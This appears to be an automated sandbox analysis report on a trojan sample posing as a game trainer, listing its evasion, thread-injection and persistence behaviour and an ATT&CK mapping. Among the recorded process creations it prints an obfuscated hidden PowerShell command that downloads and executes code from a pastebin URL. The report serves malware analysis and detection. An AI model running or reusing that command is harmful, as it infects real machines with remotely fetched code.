Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_VideoController

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Memory allocated: 1DD2D630000 memory reserve \| memory write watch			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Memory allocated: 1DD46E90000 memory reserve \| memory write watch			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4710	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5169	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1353	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4809	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4937	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1037
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 744
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4100
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5696

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.dll			Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Backend.dll			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

API coverage: 2.2 %

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536	Thread sleep count: 4710 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7536	Thread sleep count: 5169 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7568	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7584	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7756	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8188	Thread sleep count: 1353 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6160	Thread sleep count: 136 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5544	Thread sleep count: 109 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1680	Thread sleep count: 4809 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1816	Thread sleep count: 4937 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 360	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 360	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 892	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3424	Thread sleep count: 1037 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3424	Thread sleep count: 744 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3576	Thread sleep count: 193 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3680	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7400	Thread sleep count: 4100 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7412	Thread sleep count: 5696 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7348	Thread sleep time: -25825441703193356s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7340	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor

Source: C:\Users\user\Desktop\xK44OOt7vD.exe

Code function: 0_2_00007FF7EA028C54 FindFirstFileExW,

0_2_00007FF7EA028C54

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: powershell.exe, 0000000D.00000002.2705160657.00000205B6A60000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll0
Source: svchost.exe, 00000007.00000002.3430579832.000001F169A2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3432741527.000001F16B05C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000012.00000002.2793307610.0000012779C8F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\xK44OOt7vD.exe

Code function: 0_2_00007FF7EA022788 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF7EA022788

Source: C:\Users\user\Desktop\xK44OOt7vD.exe

Code function: 0_2_00007FF7EA02B60C GetProcessHeap,

0_2_00007FF7EA02B60C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Code function: 0_2_00007FF7EA022788 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7EA022788
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Code function: 0_2_00007FF7EA0263F0 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF7EA0263F0
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Code function: 0_2_00007FF7EA022968 SetUnhandledExceptionFilter,	0_2_00007FF7EA022968
Source: C:\Users\user\Desktop\xK44OOt7vD.exe	Code function: 0_2_00007FF7EA02215C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF7EA02215C
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FF8B8F75024 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF8B8F75024
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Code function: 6_2_00007FF8B8F74CE8 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF8B8F74CE8

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Contains functionality to inject threads in other processes

Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe

Code function: 6_2_00007FF8B8F71910 VirtualAllocEx,WriteProcessMemory,VirtualAllocEx,WriteProcessMemory,VirtualAllocEx,WriteProcessMemory,CreateRemoteThread,WaitForSingleObject,VirtualFreeEx,VirtualFreeEx,VirtualFreeEx,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

6_2_00007FF8B8F71910

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rlfwipso\rlfwipso.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe "C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\attrib.exe "C:\Windows\system32\attrib.exe" +s +h "C:\ProgramData\Microsoft OneDrive\FileSync\BeginSync.lnk"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES8530.tmp" "c:\Users\user\AppData\Local\Temp\rlfwipso\CSC770B74A1B374466B59916F033873949.TMP"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle h -command "sal fatbake calc;sal callit iEx; sal $env:os iWr; calliT(WINDOWS_NT pastebin.com/raw/sA04Mwk2 -usebasicparsing)"

Source: C:\Users\user\Desktop\xK44OOt7vD.exe

Code function: 0_2_00007FF7EA02F1C0 cpuid

0_2_00007FF7EA02F1C0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ProgramData\Microsoft OneDrive\FileSync VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation

Source: C:\Users\user\Desktop\xK44OOt7vD.exe

Code function: 0_2_00007FF7EA022660 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF7EA022660

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	111 Windows Management Instrumentation	11 Registry Run Keys / Startup Folder	111 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	3 PowerShell	1 DLL Side-Loading	11 Registry Run Keys / Startup Folder	1 Disable or Modify Tools	LSASS Memory	141 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	151 Virtualization/Sandbox Evasion	Security Account Manager	151 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	15 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	2 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	34 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
xK44OOt7vD.exe	39%	ReversingLabs	Win64.Trojan.MintPhil

Dropped Files

